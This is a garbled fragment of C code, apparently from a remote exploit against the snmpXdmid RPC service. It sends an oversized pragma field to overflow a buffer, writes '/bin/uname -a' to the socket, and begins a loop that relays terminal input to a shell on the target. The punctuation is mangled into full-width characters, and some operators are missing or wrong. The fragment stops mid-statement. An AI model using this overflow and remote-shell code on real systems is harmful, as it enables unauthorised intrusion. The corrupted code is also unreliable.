req。name。val=&buffer＇0＇；
req。pragma。len=128000＋4；
req。pragma。val=&buffer＇10000＇；
stat=clnt_call（cl；SNMPXDMID_ADDPONENT；xdr_req；&req；xdr_void；NULL；tm）；
if（statRPC_SUCCESS） ｛printf（〃nerror： not vulnerablen〃）；exit（…1）；｝
printf（〃sent！n〃）；
write（sck；〃/bin/uname …an〃；14）；
while（1）｛
fd_set fds；
FD_ZERO（&fds）；
FD_SET（0；&fds）；
FD_SET（sck；&fds）；
if（select（FD_SETSIZE；&fds；NULL；NULL；NULL））｛
int cnt；
char buf＇1024＇；
if（FD_ISSET（0；&fds））｛
if（（cnt=read（0；buf；1024））